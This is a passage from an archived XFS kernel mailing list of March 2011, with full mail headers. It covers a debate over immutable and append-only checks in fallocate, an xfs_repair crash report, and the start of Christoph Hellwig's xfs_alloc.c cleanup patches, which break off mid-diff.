03/03/2011 22:39, Dave Chinner ha scritto: > WTF? Why does append mode have any effect on whether we can punch > holes in a file or not? There's no justification for adding this in > the commit message. Why is it even in a patch that is for checking > immutable inodes? What is the point of adding it, when all that will > happen is people will switch to XFS_IOC_UNRESVSP which has never had > this limitation? So according to you, it's legal to do an "unreserve" operation on an append-only file. It's not the same for me, but if the community said that this is the right behavior then ok. > > And this asks bigger questions - why would you allow preallocate > anywhere but at or beyond EOF on an append mode inode? You can only > append to the file, so if you're going to add limitations based on > the append flag, you need to think this through a bit more.... > I don't understand this point. The theory of operation was: 1) we don't allow any operation (reserve/unreserve) on a immutable file; 2) we don't allow *unreserve* operation on an append-only file (this check makes sense only for fs that support the unreserve operation). > > Also, like Christoph said, these checks belong in the generic code, > not in every filesystem. The same checks have to be made for every > filesystem, so they should be done before calling out the > filesystems regardless of what functionality the filesystem actually > supports. > This was related to the first point, if we remove it then it's ok to check in a common code. Even if I think we should do the check under the inode lock to avoid race between fallocate and setattr, isn't it? Marco From schmorp@schmorp.de Fri Mar 4 04:26:52 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_47 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24AQpZb156489 for ; Fri, 4 Mar 2011 04:26:52 -0600 X-ASG-Debug-ID: 1299234580-5baf03190000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.nethype.de (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 79667311CFC for ; Fri, 4 Mar 2011 02:29:40 -0800 (PST) Received: from mail.nethype.de (mail.nethype.de [78.47.73.129]) by cuda.sgi.com with ESMTP id 12uoA5bfFn9sPEUI for ; Fri, 04 Mar 2011 02:29:40 -0800 (PST) Received: from [10.0.0.5] (helo=doom.schmorp.de) by mail.nethype.de with esmtp (Exim 4.72) (envelope-from ) id 1PvSGR-000477-U3 for xfs@oss.sgi.com; Fri, 04 Mar 2011 10:29:40 +0000 Received: from [10.0.0.1] (helo=cerebro.laendle) by doom.schmorp.de with esmtp (Exim 4.72) (envelope-from ) id 1PvSGR-0002k6-O2 for xfs@oss.sgi.com; Fri, 04 Mar 2011 10:29:39 +0000 Received: from root by cerebro.laendle with local (Exim 4.72) (envelope-from ) id 1PvSGR-0002jB-Mo for xfs@oss.sgi.com; Fri, 04 Mar 2011 11:29:39 +0100 Date: Fri, 4 Mar 2011 11:29:39 +0100 From: Marc Lehmann To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: corruption, xfs_repair 3.1.4 segfaults Subject: Re: corruption, xfs_repair 3.1.4 segfaults Message-ID: <20110304102939.GA10416@schmorp.de> References: <20110302175818.GA8290@schmorp.de> <20110302224329.3f62c172@galadriel2.home> <20110304071123.GC2316@schmorp.de> <20110304085146.368046e7@galadriel2.home> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable In-Reply-To: <20110304085146.368046e7@galadriel2.home> X-PGP: "1024D/DA743396 1999-01-26 Marc Alexander Lehmann Key fingerprint = 475A FE9B D1D4 039E 01AC C217 A1E8 0270 DA74 3396" X-Barracuda-Connect: mail.nethype.de[78.47.73.129] X-Barracuda-Start-Time: 1299234581 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0005 1.0000 -2.0179 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57016 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 04, 2011 at 08:51:46AM +0100, Emmanuel Florac wrote: > Ah, I think the problem may lie in the loop device. Try to run At least the xfs_repair problem cannot be in the loop device: =46rom the strace it's obvious that xfs_repair tries to read close to 2**64 bytes, and then crashes when the kernel rightly says that it can't do that. It also shows that xfs_repair tries to allocate 3gb of memory (which is in addition to the 1gb it already uses at that point), which is far more then it should (specifying -m 990 didn't change that), which is another bug in xfs_repair. I think that, no matter what the loop device would do, xfs_repair is buggy - it simply shouldn't crash, no matter how corrupted the filesystem is. As a sidenote, I am now about 30% in recovering (copying) and verifying the data, and it seems the volume isn't corrupted completely (fortunately), so I can probably recover the important stuff, and reformat the partition, so this might not turn out to be data loss (fortunately :). > xfs_repair -f /file/path=20 >=20 > (not using the loop device). that will not work, as xfs_repair has no encryption support (which is why the loop device is used in the first place). --=20 The choice of a Deliantra, the free code+content MORPG -----=3D=3D- _GNU_ http://www.deliantra.net ----=3D=3D-- _ generation ---=3D=3D---(_)__ __ ____ __ Marc Lehmann --=3D=3D---/ / _ \/ // /\ \/ / schmorp@schmorp.de -=3D=3D=3D=3D=3D/_/_//_/\_,_/ /_/\_\ From eflorac@intellique.com Fri Mar 4 05:11:22 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24BBLfk158502 for ; Fri, 4 Mar 2011 05:11:22 -0600 X-ASG-Debug-ID: 1299237247-519f01620000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp4-g21.free.fr (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 26B811AF28B5 for ; Fri, 4 Mar 2011 03:14:11 -0800 (PST) Received: from smtp4-g21.free.fr (smtp4-g21.free.fr [212.27.42.4]) by cuda.sgi.com with ESMTP id 4iraF8nADH8MbEXC for ; Fri, 04 Mar 2011 03:14:11 -0800 (PST) Received: from harpe.intellique.com (unknown [82.225.196.72]) by smtp4-g21.free.fr (Postfix) with ESMTP id C37684C8107; Fri, 4 Mar 2011 12:14:03 +0100 (CET) Date: Fri, 4 Mar 2011 12:14:07 +0100 From: Emmanuel Florac To: Marc Lehmann Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: corruption, xfs_repair 3.1.4 segfaults Subject: Re: corruption, xfs_repair 3.1.4 segfaults Message-ID: <20110304121407.065d9f17@harpe.intellique.com> In-Reply-To: <20110304102939.GA10416@schmorp.de> References: <20110302175818.GA8290@schmorp.de> <20110302224329.3f62c172@galadriel2.home> <20110304071123.GC2316@schmorp.de> <20110304085146.368046e7@galadriel2.home> <20110304102939.GA10416@schmorp.de> Organization: Intellique X-Mailer: Claws Mail 3.7.3 (GTK+ 2.16.6; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: smtp4-g21.free.fr[212.27.42.4] X-Barracuda-Start-Time: 1299237253 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57018 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Le Fri, 4 Mar 2011 11:29:39 +0100 Marc Lehmann =E9crivait: > I think that, no matter what the loop device would do, xfs_repair is > buggy > - it simply shouldn't crash, no matter how corrupted the filesystem > is. >=20 That's true. After you've copied everything, you could try using Lenny's xfs_repair (v 2.9.x IIRC). Just in case, it may do better. --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From marco.stornelli@gmail.com Fri Mar 4 06:20:58 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,FREEMAIL_FROM, T_DKIM_INVALID autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24CKwO3162348 for ; Fri, 4 Mar 2011 06:20:58 -0600 X-ASG-Debug-ID: 1299241428-77a700a70000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-ww0-f51.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id B1D813130F4 for ; Fri, 4 Mar 2011 04:23:48 -0800 (PST) Received: from mail-ww0-f51.google.com (mail-ww0-f51.google.com [74.125.82.51]) by cuda.sgi.com with ESMTP id 0f7S6Afb6JK40RMT for ; Fri, 04 Mar 2011 04:23:48 -0800 (PST) Received: by wwf26 with SMTP id 26so1972276wwf.32 for ; Fri, 04 Mar 2011 04:23:48 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:message-id:date:from:user-agent:mime-version:to :cc:subject:references:in-reply-to:content-type :content-transfer-encoding; bh=vUUzf4mvBbYqgISE7V++MBQQyQ007jqPMvh41Td9g6o=; b=J0NZI1w5xJ0LwtsgiBaoaUXhCBPZLlTQXIOeHx3K9rLn63Q0gKwWvilc5sa/tioFLb R4tqlrFAY1RGUlaZHYuWwFY8lNNC1UxbeD7Bd0UiFSTlLj3oHPSur3YuZH21ucAM2foO NCaOWAIXGTCkZexMKCrGrxeB5R1MV04Up9JXw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; b=NTnk8yIoZ4PK4posSDhQHfzygpbs+uuiATGHPyRo1pVuTqJWwdfGqlohFyQsMXnl10 JpiIB3WcKGh+mHGoc6U0mxPSoCtjPpQVswRYIaieQCh7gNWaUUmzeXlF7u4AkJ/rNUw+ TVEFxf+xnZfSxHxVCqLvxubX0MWRDweO6aDoQ= Received: by 10.216.171.133 with SMTP id r5mr474730wel.91.1299241428026; Fri, 04 Mar 2011 04:23:48 -0800 (PST) Received: from [82.59.179.64] (host64-179-dynamic.59-82-r.retail.telecomitalia.it [82.59.179.64]) by mx.google.com with ESMTPS id u2sm1135348weh.36.2011.03.04.04.23.44 (version=TLSv1/SSLv3 cipher=OTHER); Fri, 04 Mar 2011 04:23:46 -0800 (PST) Message-ID: <4D70D89C.6090307@gmail.com> Date: Fri, 04 Mar 2011 13:18:36 +0100 From: Marco Stornelli User-Agent: Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.1.16) Gecko/20101125 SUSE/3.0.11 Thunderbird/3.0.11 MIME-Version: 1.0 To: Dave Chinner CC: Linux Kernel , linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, cluster-devel@redhat.com, xfs@oss.sgi.com, Linux FS Devel , tytso@mit.edu X-ASG-Orig-Subj: Re: [PATCH v2] Check for immutable flag in fallocate path Subject: Re: [PATCH v2] Check for immutable flag in fallocate path References: <4D6221B8.9040303@gmail.com> <4D6F5473.2070709@gmail.com> <20110303213903.GL15097@dastard> <4D709FFC.6000107@gmail.com> In-Reply-To: <4D709FFC.6000107@gmail.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-ww0-f51.google.com[74.125.82.51] X-Barracuda-Start-Time: 1299241429 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57023 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Il 04/03/2011 09:17, Marco Stornelli ha scritto: > Hi Dave, > > Il 03/03/2011 22:39, Dave Chinner ha scritto: >> WTF? Why does append mode have any effect on whether we can punch >> holes in a file or not? There's no justification for adding this in >> the commit message. Why is it even in a patch that is for checking >> immutable inodes? What is the point of adding it, when all that will >> happen is people will switch to XFS_IOC_UNRESVSP which has never had >> this limitation? > > So according to you, it's legal to do an "unreserve" operation on an > append-only file. It's not the same for me, but if the community said > that this is the right behavior then ok. > >> >> And this asks bigger questions - why would you allow preallocate >> anywhere but at or beyond EOF on an append mode inode? You can only >> append to the file, so if you're going to add limitations based on >> the append flag, you need to think this through a bit more.... >> > > I don't understand this point. The theory of operation was: > > 1) we don't allow any operation (reserve/unreserve) on a immutable file; > 2) we don't allow *unreserve* operation on an append-only file (this > check makes sense only for fs that support the unreserve operation). > >> >> Also, like Christoph said, these checks belong in the generic code, >> not in every filesystem. The same checks have to be made for every >> filesystem, so they should be done before calling out the >> filesystems regardless of what functionality the filesystem actually >> supports. >> > > This was related to the first point, if we remove it then it's ok to > check in a common code. Even if I think we should do the check under the > inode lock to avoid race between fallocate and setattr, isn't it? > Oops, I meant setflags in ioctl path, sorry. At this point I'm waiting for response about how to manage the append flag and how to manage the lock on the flags. Ted pointed out that a proper fix would be to avoid the lock and use bit operation but it requires a deep modification on several fs and it could be a separate patch and code review, so I think we can choice to use lock/unlock in do_fallocate. I'll resend the patch. Marco From BATV+60e1c442fc247f98af17+2749+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 4 06:37:35 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24CbV96163663 for ; Fri, 4 Mar 2011 06:37:35 -0600 X-ASG-Debug-ID: 1299242423-725c00960000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 67B54A943F4 for ; Fri, 4 Mar 2011 04:40:23 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id tKGRW4E9tQO9mdvu for ; Fri, 04 Mar 2011 04:40:23 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PvUIs-0000vk-DD; Fri, 04 Mar 2011 12:40:18 +0000 Date: Fri, 4 Mar 2011 07:40:18 -0500 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , chris.mason@oracle.com, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 3/5] xfs: convert ENOSPC inode flushing to use new syncd workqueue Subject: Re: [PATCH 3/5] xfs: convert ENOSPC inode flushing to use new syncd workqueue Message-ID: <20110304124018.GA29062@infradead.org> References: <1298412969-14389-1-git-send-email-david@fromorbit.com> <1298412969-14389-4-git-send-email-david@fromorbit.com> <20110303153410.GA27205@infradead.org> <20110303224105.GP15097@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110303224105.GP15097@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299242423 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 04, 2011 at 09:41:05AM +1100, Dave Chinner wrote: > On Thu, Mar 03, 2011 at 10:34:10AM -0500, Christoph Hellwig wrote: > > I still don't see any point in having the ENOSPC flushing moved to a > > different context. > > IIRC, stack usage has always been an issue, and we also call > xfs_flush_inodes() with the XFS_IOLOCK held (from > xfs_iomap_write_delay()) so the alternate context was used to avoid > deadlocks. I don't think we have that deadlock problem now thanks to > being able to combine SYNC_TRYLOCK | SYNC_WAIT flags, but I'm not > sure we can ignore the stack issues. Given that we wait for completion of the syncing in the caller moving it to a different context does not help with any deadlocks. It just makes them impossible to detect using lockdep. > I've also realised the work_pending() check is unnecessary, as is > the lock, because queue_work() will only queue new work if the work > item isn't already pending so there's no need to check it here. > Hence all this actually needs to do is: > > queue_work() > flush_work_sync() or in fact only use the writeback_inodes_sb_if_idle call you added later. That also causes writeback of data from the flusher threads. From BATV+60e1c442fc247f98af17+2749+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 4 06:58:28 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24CwSEL165547 for ; Fri, 4 Mar 2011 06:58:28 -0600 X-ASG-Debug-ID: 1299243679-66ff03da0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id A869B1AF2B97 for ; Fri, 4 Mar 2011 05:01:19 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id uBX1SDBOm5bHNRbb for ; Fri, 04 Mar 2011 05:01:19 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PvUdD-0004oV-9a for xfs@oss.sgi.com; Fri, 04 Mar 2011 13:01:19 +0000 Message-Id: <20110304130119.267537965@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Fri, 04 Mar 2011 07:59:54 -0500 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 1/3] xfs: clean up the xfs_alloc_compute_aligned calling convention Subject: [PATCH 1/3] xfs: clean up the xfs_alloc_compute_aligned calling convention References: <20110304125953.650347660@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-cleanup-xfs_alloc_compute_aligned X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299243679 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Pass a xfs_alloc_arg structure to xfs_alloc_compute_aligned and derive the alignment and minlen paramters from it. This cleans up the existing callers, and we'll need even more information from the xfs_alloc_arg in subsequent patches. Based on a patch from Dave Chinner. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Reviewed-by: Alex Elder Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-01-03 13:06:52.386254734 +0100 +++ xfs/fs/xfs/xfs_alloc.c 2011-01-03 13:07:19.545002883 +0100 @@ -147,10 +147,9 @@ xfs_alloc_get_rec( */ STATIC void xfs_alloc_compute_aligned( + xfs_alloc_arg_t *args, /* allocation argument structure */ xfs_agblock_t foundbno, /* starting block in found extent */ xfs_extlen_t foundlen, /* length in found extent */ - xfs_extlen_t alignment, /* alignment for allocation */ - xfs_extlen_t minlen, /* minimum length for allocation */ xfs_agblock_t *resbno, /* result block number */ xfs_extlen_t *reslen) /* result length */ { @@ -158,8 +157,8 @@ xfs_alloc_compute_aligned( xfs_extlen_t diff; xfs_extlen_t len; - if (alignment > 1 && foundlen >= minlen) { - bno = roundup(foundbno, alignment); + if (args->alignment > 1 && foundlen >= args->minlen) { + bno = roundup(foundbno, args->alignment); diff = bno - foundbno; len = diff >= foundlen ? 0 : foundlen - diff; } else { @@ -693,8 +692,7 @@ xfs_alloc_find_best_extent( if (error) goto error0; XFS_WANT_CORRUPTED_GOTO(i == 1, error0); - xfs_alloc_compute_aligned(*sbno, *slen, args->alignment, - args->minlen, &bno, slena); + xfs_alloc_compute_aligned(args, *sbno, *slen, &bno, slena); /* * The good extent is closer than this one. @@ -866,8 +864,8 @@ xfs_alloc_ag_vextent_near( if ((error = xfs_alloc_get_rec(cnt_cur, <bno, <len, &i))) goto error0; XFS_WANT_CORRUPTED_GOTO(i == 1, error0); - xfs_alloc_compute_aligned(ltbno, ltlen, args->alignment, - args->minlen, <bnoa, <lena); + xfs_alloc_compute_aligned(args, ltbno, ltlen, + <bnoa, <lena); if (ltlena < args->minlen) continue; args->len = XFS_EXTLEN_MIN(ltlena, args->maxlen); @@ -987,8 +985,8 @@ xfs_alloc_ag_vextent_near( if ((error = xfs_alloc_get_rec(bno_cur_lt, <bno, <len, &i))) goto error0; XFS_WANT_CORRUPTED_GOTO(i == 1, error0); - xfs_alloc_compute_aligned(ltbno, ltlen, args->alignment, - args->minlen, <bnoa, <lena); + xfs_alloc_compute_aligned(args, ltbno, ltlen, + <bnoa, <lena); if (ltlena >= args->minlen) break; if ((error = xfs_btree_decrement(bno_cur_lt, 0, &i))) @@ -1003,8 +1001,8 @@ xfs_alloc_ag_vextent_near( if ((error = xfs_alloc_get_rec(bno_cur_gt, >bno, >len, &i))) goto error0; XFS_WANT_CORRUPTED_GOTO(i == 1, error0); - xfs_alloc_compute_aligned(gtbno, gtlen, args->alignment, - args->minlen, >bnoa, >lena); + xfs_alloc_compute_aligned(args, gtbno, gtlen, + >bnoa, >lena); if (gtlena >= args->minlen) break; if ((error = xfs_btree_increment(bno_cur_gt, 0, &i))) @@ -1183,8 +1181,7 @@ xfs_alloc_ag_vextent_size( * once aligned; if not, we search left for something better. * This can't happen in the second case above. */ - xfs_alloc_compute_aligned(fbno, flen, args->alignment, args->minlen, - &rbno, &rlen); + xfs_alloc_compute_aligned(args, fbno, flen, &rbno, &rlen); rlen = XFS_EXTLEN_MIN(args->maxlen, rlen); XFS_WANT_CORRUPTED_GOTO(rlen == 0 || (rlen <= flen && rbno + rlen <= fbno + flen), error0); @@ -1209,8 +1206,8 @@ xfs_alloc_ag_vextent_size( XFS_WANT_CORRUPTED_GOTO(i == 1, error0); if (flen < bestrlen) break; - xfs_alloc_compute_aligned(fbno, flen, args->alignment, - args->minlen, &rbno, &rlen); + xfs_alloc_compute_aligned(args, fbno, flen, + &rbno, &rlen); rlen = XFS_EXTLEN_MIN(args->maxlen, rlen); XFS_WANT_CORRUPTED_GOTO(rlen == 0 || (rlen <= flen && rbno + rlen <= fbno + flen), From BATV+60e1c442fc247f98af17+2749+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 4 06:58:28 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24CwSjO165546 for ; Fri, 4 Mar 2011 06:58:28 -0600 X-ASG-Debug-ID: 1299243679-277b01110000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id A6FFE1AF2B93 for ; Fri, 4 Mar 2011 05:01:19 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id 8T7V5hwOvpLE66Dv for ; Fri, 04 Mar 2011 05:01:19 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PvUdD-0004nw-41 for xfs@oss.sgi.com; Fri, 04 Mar 2011 13:01:19 +0000 Message-Id: <20110304125953.650347660@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Fri, 04 Mar 2011 07:59:53 -0500 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 0/3] avoid busy extents during user data allocations Subject: [PATCH 0/3] avoid busy extents during user data allocations X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299243679 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean This patchset adds support to trim down extents From BATV+60e1c442fc247f98af17+2749+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 4 06:58:28 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24CwSO9165548 for ; Fri, 4 Mar 2011 06:58:28 -0600 X-ASG-Debug-ID: 1299243679-6366031b0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id ED93131307A for ; Fri, 4 Mar 2011 05:01:19 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id DcFIY7C9U5vAHDAn for ; Fri, 04 Mar 2011 05:01:19 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PvUdD-0004p2-Ft for xfs@oss.sgi.com; Fri, 04 Mar 2011 13:01:19 +0000 Message-Id: <20110304130119.459598021@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Fri, 04 Mar 2011 07:59:55 -0500 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 2/3] xfs: factor agf counter updates into a helper Subject: [PATCH 2/3] xfs: factor agf counter updates into a helper References: <20110304125953.650347660@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-alloc-factor-counter-updates X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299243679 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Updating the AGF and transactions counters is duplicated between allocating and freeing extents. Factor the code into a common helper. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Reviewed-by: Alex Elder Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-02-21 19:07:55.838376753 +0100 +++ xfs/fs/xfs/xfs_alloc.c 2011-02-21 19:34:47.878377085 +0100 @@ -463,6 +463,27 @@ xfs_alloc_read_agfl( return 0; } +STATIC int +xfs_alloc_update_counters( + struct xfs_trans *tp, + struct xfs_perag *pag, + struct xfs_buf *agbp, + long len) +{ + struct xfs_agf *agf = XFS_BUF_TO_AGF(agbp); + + pag->pagf_freeblks += len; + be32_add_cpu(&agf->agf_freeblks, len); + + xfs_trans_agblocks_delta(tp, len); + if (unlikely(be32_to_cpu(agf->agf_freeblks) > + be32_to_cpu(agf->agf_length))) + return EFSCORRUPTED; + + xfs_alloc_log_agf(tp, agbp, XFS_AGF_FREEBLKS); + return 0; +} + /* * Allocation group level functions. */ @@ -504,49 +525,44 @@ xfs_alloc_ag_vextent( ASSERT(0); /* NOTREACHED */ } - if (error) + + if (error || args->agbno == NULLAGBLOCK) return error; - /* - * If the allocation worked, need to change the agf structure - * (and log it), and the superblock. - */ - if (args->agbno != NULLAGBLOCK) { - xfs_agf_t *agf; /* allocation group freelist header */ - long slen = (long)args->len; - - ASSERT(args->len >= args->minlen && args->len <= args->maxlen); - ASSERT(!(args->wasfromfl) || 